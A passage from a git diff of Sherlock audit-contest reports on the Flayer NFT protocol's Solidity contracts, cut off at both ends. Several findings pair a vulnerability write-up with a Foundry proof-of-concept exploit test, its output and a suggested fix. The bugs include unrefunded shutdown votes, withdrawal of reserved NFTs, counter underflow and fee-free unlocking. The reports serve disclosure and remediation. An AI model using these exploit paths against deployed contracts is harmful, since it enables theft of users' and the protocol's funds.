+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+ ... ...
+ }
+```
+
+But in the [`CollectionShutdown::cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function, it does not refund the voters tokens.
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+### Proof-Of-Concept
+
+Here is the testcase of the POC:
+
+To bypass the [total supply vs shutdown votes restriction](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L398-L400), added the following line to the test case:
+
+```solidity
+ collectionToken.mint(address(10), _additionalAmount);
+```
+
+The whole test case is:
+
+```solidity
+ function test_CancelShutdownNotRefund() public withQuorumCollection {
+ uint256 _additionalAmount = 1 ether;
+ // Confirm that we can execute with our quorum-ed collection
+ assertCanExecute(address(erc721b), true);
+
+ vm.prank(address(locker));
+ collectionToken.mint(address(10), _additionalAmount);
+
+ // Cancel our shutdown
+ collectionShutdown.cancel(address(erc721b));
+
+ // Now that we have cancelled the shutdown process, we should no longer
+ // be able to execute the shutdown.
+ assertCanExecute(address(erc721b), false);
+
+ console.log("Address 1 balance after:", collectionToken.balanceOf(address(1)));
+ console.log("Address 2 balance after:", collectionToken.balanceOf(address(2)));
+ }
+```
+
+Here are the logs after running the test:
+```bash
+$ forge test --match-test test_CancelShutdownNotRefund -vv
+[⠒] Compiling...
+[⠃] Compiling 1 files with Solc 0.8.26
+[⠊] Solc 0.8.26 finished in 8.81s
+Compiler run successful!
+
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_CancelShutdownNotRefund() (gas: 390566)
+Logs:
+ Address 1 balance after: 0
+ Address 2 balance after: 0
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.29s (454.80µs CPU time)
+
+Ran 1 test suite in 8.29s (8.29s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+As can be seen from the logs, the voters(1, 2) were not refunded their tokens.
+
+## Impact
+
+Shutdown Voters will be ended up losing their whole collection tokens by cancelling the shutdown.
+
+## Code Snippet
+
+[utils/CollectionShutdown.sol#L390-L405](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+The problem can be fixed by implementing following:
+
+1. Add new state variable to the contract that records all voters
+
+```solidity
+ address[] public votersList;
+```
+
+2. Update the `_vote()` function like below:
+```diff
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ ... ...
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
++ if (shutdownVoters[_collection][msg.sender] == 0)
++ votersList.push(msg.sender);
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+ ... ...
+ }
+```
+
+3. Add the new code section to the `reclaimVote()` function, that removes the sender from the `votersList`.
+
+4. Update the `cancel()` function like below:
+```diff
+ function cancel(address _collection) public whenNotPaused {
+ ... ...
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
++ uint256 i;
++ uint256 votersLength = votersList.length;
++ for (; i < votersLength; i ++) {
++ params.collectionToken.transfer(
++ votersList[i],
++ shutdownVoters[_collection][votersList[i]]
++ );
++ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
++ delete votersList;
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+After running the testcase on the above update, the user voters are able to get their own votes:
+
+```bash
+$ forge test --match-test test_CancelShutdownNotRefund -vv
+[⠒] Compiling...
+[⠘] Compiling 3 files with Solc 0.8.26
+[⠃] Solc 0.8.26 finished in 8.70s
+Compiler run successful!
+
+Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
+[PASS] test_CancelShutdownNotRefund() (gas: 486318)
+Logs:
+ Address 1 balance after: 1000000000000000000
+ Address 2 balance after: 1000000000000000000
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.46s (526.80µs CPU time)
+
+Ran 1 test suite in 3.46s (3.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
diff --git a/001/262.md b/001/262.md
new file mode 100644
index 0000000..286adf0
--- /dev/null
+++ b/001/262.md
@@ -0,0 +1,168 @@
+Striped Boysenberry Fox
+
+Medium
+
+# A protected NFT via reserving can be withdrawn from `Listings`
+
+## Summary
+
+A protected NFT via reserving can be withdrawn from `Listings`.
+
+## Vulnerability Detail
+
+The NFTs that were sent to `ProtectedListings` should be literally "protected". That means the only way to unlock the NFTs from protected listings should be via `ProtectedListings::unlockProtectedListing()`.
+
+But the [`Listings::reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function decreases the listings count of the collection, but doesn't delete the old listing data.
+
+This makes Protected Listings and Listings to have the same NFT listing data.
+
+Therefore, The possibility exists in the `Listings`, that can modify or cancel the protected NFTs through `modifyListings()` or `cancelListings()`.
+
+Especially, `cancelListings()` has a unchecked decrement of `listingCount` of the collection.
+
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ ... ...
+
+ // Remove our listing type
+ unchecked {
+ listingCount[_collection] -= _tokenIds.length;
+ }
+
+ ... ...
+ }
+```
+
+This unchecked decrement can make the `listingCount[_collection]` value underflowed without any error or revert.
+
+### Proof-Of-Concept
+
+Added a new test case to `Listings.t.sol`:
+
+```solidity
+ function test_CanCancelAfterReserving() public {
+ address _lister = address(0x0101);
+ address _relister = address(0x0102);
+ address _collection = address(erc721a);
+ uint _tokenId = 1;
+
+ ICollectionToken token = locker.collectionToken(_collection);
+
+ // Set up protected listings
+ listings.setProtectedListings(address(protectedListings));
+
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address for our lister and filler, and that they
+ // aren't the same address
+ _assumeValidAddress(_lister);
+ _assumeValidAddress(_relister);
+ vm.assume(_lister != _relister);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ vm.startPrank(_lister);
+ erc721a.approve(address(listings), _tokenId);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: _collection,
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_lister),
+ created: uint40(block.timestamp),
+ duration: 8 days,
+ floorMultiple: 150
+ })
+ })
+ });
+ vm.stopPrank();
+
+ ////////////////////////////////////////////////////
+ // Start Reserving...
+ vm.startPrank(_relister);
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ uint startBalance = 2 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ console.log("Listings Count before Reserving:", listings.listingCount(_collection));
+
+ // Relist our floor item into one of various collections
+ listings.reserve({
+ _collection: _collection,
+ _tokenId: _tokenId,
+ _collateral: 0.3 ether
+ });
+
+ vm.stopPrank();
+
+ console.log("Listings Count after Reserving:", listings.listingCount(_collection));
+
+ // Start cancelling listings
+ deal(address(token), address(listings), 5 ether); // <-- @audit Add extra tokens to make cancelling available
+
+ vm.startPrank(_lister);
+ token.approve(address(listings), 5 ether);
+ uint256[] memory tokenIdsOut = new uint256[](1);
+ tokenIdsOut[0] = _tokenId;
+ listings.cancelListings(_collection, tokenIdsOut, true);
+ vm.stopPrank();
+
+ console.log("Listings Count after Cancelling:", listings.listingCount(_collection));
+ }
+```
+
+The logs are:
+```bash
+$ forge test --match-test test_CanCancelAfterReserving -vv
+[⠒] Compiling...
+[⠃] Compiling 1 files with Solc 0.8.26
+[⠒] Solc 0.8.26 finished in 10.85s
+Compiler run successful!
+
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_CanCancelAfterReserving() (gas: 1301534)
+Logs:
+ Listings Count before Reserving: 1
+ Listings Count after Reserving: 0
+ Listings Count after Cancelling: 115792089237316195423570985008687907853269984665640564039457584007913129639935
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.47ms (1.97ms CPU time)
+
+Ran 1 test suite in 12.23ms (9.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+## Impact
+
+There'd be two kinds of impacts:
+1. The wrong listing count will make shutdown funtionality working incorrectly because its `_hasListings()` function requires the correct listing count.
+2. The protection won't work for the cancelled NFTs, and also result in wrong calculation of utilization rate.
+
+## Code Snippet
+
+[Listings.sol#L690-L759](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Should remove the old listing in the `reserve()` function:
+
+```diff
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ ... ...
+ if (oldListing.owner != address(0)) {
+ ... ...
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
++ delete _listings[_collection][_tokenId];
+ }
+ ... ...
+ }
+```
diff --git a/001/268.md b/001/268.md
new file mode 100644
index 0000000..659dd9e
--- /dev/null
+++ b/001/268.md
@@ -0,0 +1,318 @@
+Hidden Oily Stork
+
+High
+
+# Failure to Delete Old Listings in `Listings::reserve` Allows Unauthorized Withdrawal of Reserved Items
+
+### Summary
+
+The `Listings::reserve` function enables users to reserve items in the pool by providing collateral and paying an interest rate. Ideally, reserved items should only be accessible for withdrawal by the reserver, except when the protected listing is canceled.
+
+However, a critical vulnerability exists when the item being reserved is part of a liquid or Dutch listing. The current implementation of the `reserve` function fails to delete the old listing after creating the new protected listing. This oversight allows the owner of the outdated liquid or Dutch listing to cancel their old listing and withdraw the reserved token. Consequently, the owner of the protected listing is left without the reserved token and is burdened with interest payments for an item they no longer possess.
+
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
+// @> Failing to delete the old listing
+// @> delete _listings[_collection][_tokenId];
+ }
+
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
+
+### Root Cause
+
+In https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L725 the old listing is not deleted.
+
+### Internal pre-conditions
+
+1. `user1` creates a liquid or Dutch listing for `tokenId`.
+2. `user2` creates a protected listing for `tokenId` by invoking the `Listings::reserve` function.
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `user1` then cancels the original listing by calling `Listings::cancelListings` and successfully withdraws `tokenId`.
+
+### Impact
+
+The owner of the protected listing is left without the reserved token and is burdened with interest payments for an item they no longer possess.
+
+### PoC
+
+Add the following test to `/test/Listings.t.sol`:
+
+In this test, we begin with a `_owner` user who creates a liquid listing for `_tokenId`. Next, a `_relister` user creates a protected listing to secure `_tokenId`. Finally, the `_owner` cancels the original liquid listing and successfully withdraws the `_tokenId`.
+
+```solidity
+ function test_UnauthorizedWithdrawalOfProtectedListing(address payable _owner, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
+ //------------------------------------//
+ // _owner creates a liquid listing
+ //------------------------------------//
+
+ // Set up protected listings
+ listings.setProtectedListings(address(protectedListings));
+
+ // Ensure that we don't get a token ID conflict
+ _assumeValidTokenId(_tokenId);
+
+ // Ensure that we don't set a zero address _owner/_relister and they are not the same
+ _assumeValidAddress(_owner);
+ _assumeValidAddress(_relister);
+ vm.assume(_owner != _relister);
+
+ // Ensure that our multiplier is above 1.00
+ _assumeRealisticFloorMultiple(_floorMultiple);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner, _tokenId);
+
+ vm.startPrank(_owner);
+ erc721a.approve(address(listings), _tokenId);
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: _owner,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ });
+
+ // Get our required tax for the listing
+ uint requiredTax = taxCalculator.calculateTax(address(erc721a), _floorMultiple, VALID_LIQUID_DURATION);
+
+ // Confirm that our expected event it emitted
+ vm.expectEmit();
+ emit Listings.ListingsCreated(address(erc721a), _tokenIdToArray(_tokenId), listing, listings.getListingType(listing), 1 ether - requiredTax, requiredTax, _owner);
+
+ // Create our listing
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: listing
+ })
+ });
+ vm.stopPrank();
+
+ // Confirm that the {Locker} now holds the expected token
+ assertEq(erc721a.ownerOf(_tokenId), address(locker));
+
+ // Confirm that the listing was created with the correct data
+ IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
+
+ assertEq(_listing.owner, _owner);
+ assertEq(_listing.created, uint40(block.timestamp));
+ assertEq(_listing.duration, VALID_LIQUID_DURATION);
+ assertEq(_listing.floorMultiple, _floorMultiple);
+
+ // Confirm that the user has received their ERC20 token, minus the required tax payment
+ assertEq(locker.collectionToken(address(erc721a)).balanceOf(_owner), 1 ether - requiredTax);
+
+ //------------------------------------//
+ // _relister reserves the token
+ //------------------------------------//
+
+ vm.startPrank(_relister);
+
+ // Provide our relister with sufficient, approved ERC20 tokens to make the reserve
+ uint startBalance = 10 ether;
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ // Reserve our liquid listing item
+ listings.reserve({
+ _collection: address(erc721a),
+ _tokenId: _tokenId,
+ _collateral: 0.3 ether
+ });
+
+ vm.stopPrank();
+
+ // Confirm that the protected listing has been created with the expected details
+ IProtectedListings.ProtectedListing memory _pListing = protectedListings.listings(address(erc721a), _tokenId);
+
+ assertEq(_pListing.owner, _relister);
+ assertEq(_pListing.tokenTaken, 0.7 ether);
+
+ // Verify that the old liquid listing data hasn't been removed
+ IListings.Listing memory _oldListing = listings.listings(address(erc721a), _tokenId);
+
+ assertEq(_oldListing.owner, _owner);
+ assertEq(_oldListing.created, uint40(block.timestamp));
+ assertEq(_oldListing.duration, VALID_LIQUID_DURATION);
+ assertEq(_oldListing.floorMultiple, _floorMultiple);
+
+ //---------------------------------------------------------------//
+ // _owner cancels liquid listing and withdraws the reserved token
+ //---------------------------------------------------------------//
+
+ vm.startPrank(_owner);
+
+ // Approve the ERC20 token to be used by the listings contract to cancel the listing
+ token.approve(address(listings), 10 ether);
+ deal(address(token), _owner, 10 ether);
+
+ // Confirm that the expected event is fired
+ vm.expectEmit();
+ emit Listings.ListingsCancelled(address(erc721a), _tokenIdToArray(_tokenId));
+
+ // Cancel the listing
+ listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
+
+ vm.stopPrank();
+
+ // Confirm that the token has been returned to the original owner
+ assertEq(erc721a.ownerOf(_tokenId), _owner);
+
+ }
+```
+
+### Mitigation
+
+Delete the old listing before creating the protected listing
+
+```diff
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
++ delete _listings[_collection][_tokenId];
+ }
+
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
\ No newline at end of file
diff --git a/001/269.md b/001/269.md
new file mode 100644
index 0000000..9c394f2
--- /dev/null
+++ b/001/269.md
@@ -0,0 +1,115 @@
+Ripe Zinc Duck
+
+High
+
+# User can unlock protected listing without paying any fee.
+
+## Summary
+`ProtectedListings.adjustPosition()` function adjust `listing.tokenTaken` without considering compounded factor. Exploiting this vulnerability, user can unlock protected listing without paying any fee.
+
+
+## Vulnerability Detail
+`ProtectedListings.adjustPosition()` function is following.
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // Ensure we don't have a zero value amount
+ if (_amount == 0) revert NoPositionAdjustment();
+
+ // Load our protected listing
+ ProtectedListing memory protectedListing = _protectedListings[_collection][_tokenId];
+
+ // Make sure caller is owner
+ if (protectedListing.owner != msg.sender) revert CallerIsNotOwner(protectedListing.owner);
+
+ // Get the current debt of the position
+ int debt = getProtectedListingHealth(_collection, _tokenId);
+
+ // Calculate the absolute value of our amount
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+399: _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+ // Otherwise, the user is increasing their debt to take more token
+ else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
+ collectionToken.transfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+413: _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+ }
+
+ emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+ }
+```
+As can be seen in `L399` and `L413`, `_protectedListings[_collection][_tokenId].tokenTaken` is updated without considering compounded factor. Exploiting this vulnerability, user can unlock protected listing without paying any fee.
+
+PoC:
+Add the following test code into `ProtectedListings.t.sol`.
+```solidity
+ function test_adjustPositionError() public {
+ erc721a.mint(address(this), 0);
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+
+ uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;
+
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ })
+ });
+ protectedListings.createListings(_listings);
+
+ vm.warp(block.timestamp + 7 days);
+
+ // unlock protected listing for tokenId = 0
+ assertEq(protectedListings.unlockPrice(address(erc721a), 0), 402055890410801920);
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 0.4 ether);
+ protectedListings.adjustPosition(address(erc721a), 0, -0.4 ether);
+ assertEq(protectedListings.unlockPrice(address(erc721a), 0), 0);
+ protectedListings.unlockProtectedListing(address(erc721a), 0, true);
+ }
+```
+In the above test code, we can see that `unlockPrice(address(erc721a), 0)` is `402055890410801920`, but after calling `adjustPosition(address(erc721a), 0, -0.4 ether)`, `unlockPrice(address(erc721a), 0)` decreases to `0`. So we unlocked protected listing paying only `0.4 ether` without paying any fee.
+
+## Impact
+User can unlock protected listing without paying any fee. It means loss of funds for the protocol.
+On the other hand, if user increase `tokenTaken` in `adjustPosition()` function, increasement of fee will be inflated by compounded factor. it means loss of funds for the user.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Adjust `tokenTaken` considering compounded factor in `ProtectedListings.adjustPosition()` function. That is, divide `absAmount` by compounded factor before updating `tokenTaken`.
\ No newline at end of file
diff --git a/001/271.md b/001/271.md
new file mode 100644
index 0000000..e8ffbdd
--- /dev/null
+++ b/001/271.md
@@ -0,0 +1,151 @@
+Precise Lava Starfish
+
+Medium
+
+# Missing update `_isLiquidation` in relist
+
+## Summary
+When we relist one liquidated list, the `_isLiquidation` is not reset.
+
+## Vulnerability Detail
+When one protected list is not healthy, this protected list will be liquidated and one normal listing will be created and traders can get this token via trading. When we create the liquidation listing, `_isLiquidation` will be set to true. Because we don't add some tax fee when we create the liquidation listing. It means there is no refund fee to the initial owner when someone buys this liquidation token.
+The problem is that when users buy this liquidation token via `relist`, we miss reset `_isLiquidation`.
+For example:
+1. Alice's protected position is liquidated.
+2. Bob relist Alice's listing.
+3. Bob can cancel his relist. And Bob gets this ERC721 token, and `_isLiquidation` for this token is still true.
+4. Bob try to list this token, bob has to pay some tax when bob creates the list.
+5. Bob will not get the expected refund when we fulfill this list, because the system thinks this token is one liquidation list.
+```solidity
+ function createLiquidationListing(CreateListing calldata _createListing) public nonReentrant lockerNotPaused {
+ ...
+ // Flag our listing as a liquidation
+ _isLiquidation[_createListing.collection][_createListing.tokenIds[0]] = true;
+ ...
+}
+```
+```solidity
+ function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+ ...
+ // If the `owner` is still a zero-address, then it is a Floor item and should
+ // not process any additional listing related functions.
+ if (_listings[_collection][_tokenId].owner != address(0)) {
+ // Check if there is collateral on the listing, as this we bypass fees and refunds
+ if (!_isLiquidation[_collection][_tokenId]) {
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ // FILL FEE is for the LP. Who should pay for this FILL FEE, the fee is tax fee, the list creator has already paid for this.
+ (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+
+ assembly {
+ tstore(FILL_FEE, add(tload(FILL_FEE), fee))
+ tstore(FILL_REFUND, add(tload(FILL_REFUND), refund))
+ }
+ } else {
+ delete _isLiquidation[_collection][_tokenId];
+ }
+}
+```
+### Poc
+```solidity
+ function test_Poc_Liquidate() public {
+ // Set up some test users
+ address payable userA = payable(address(1)); // Initial listing creator
+ address payable userB = payable(address(2)); // Keeper / liquidator
+ address payable userC = payable(address(3)); // Relisting user
+
+ // Mint the initial token to UserA
+ erc721a.mint(userA, 0);
+
+ // Store our {CollectionToken} for quick checks
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ // As our {Locker} and {Listings} supply may already be altered, we get their starting
+ // balances before further calculation.
+ uint lockerBalance = token.balanceOf(address(locker));
+ uint listingsBalance = token.balanceOf(address(listings));
+ uint protectedListingsBalance = token.balanceOf(address(protectedListings));
+ uint uniswapBalance = token.balanceOf(address(uniswapImplementation));
+
+ // Give each of our users a starting balance of 5 tokens so that we can pay
+ // taxes and cover costs without additional transfers.
+ deal(address(token), userA, 5 ether);
+ deal(address(token), userB, 5 ether);
+ deal(address(token), userC, 5 ether);
+
+ // Confirm starting balances
+ // We start with 15 ERC20 tokens and 1 ERC721 token. This means that we should
+ // always hold a consisten 16 tokens.
+ // [User A] Create a protected listing that liquididates
+ vm.startPrank(userA);
+ erc721a.approve(address(protectedListings), 0);
+
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IProtectedListings.ProtectedListing({
+ owner: userA,
+ tokenTaken: 0.95 ether,
+ checkpoint: 0
+ })
+ })
+ });
+ vm.stopPrank();
+
+ // Skip some time to liquidate
+ vm.warp(block.timestamp + 52 weeks);
+
+ // [User B] Liquidate the listing
+ vm.prank(userB);
+ protectedListings.liquidateProtectedListing(address(erc721a), 0);
+
+ // UserA will not have paid tax on their protected listing as this is paid to unlock the
+ // protected asset. They will have, however, also received the protectedTokenTaken
+ // amount. UserB will have received their `KEEPER_REWARD` for liquidating the expired
+ // protected listing. The {Locker} currently only holds the ERC721.
+ vm.startPrank(userC);
+ token.approve(address(listings), 100 ether);
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IListings.Listing({
+ owner: userC,
+ created: uint40(block.timestamp),
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: 10_00
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ listings.cancelListings(address(erc721a), _tokenIdToArray(0), true);
+ erc721a.approve(address(listings), 0);
+ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 7 days,
+ floorMultiple: 120
+ })
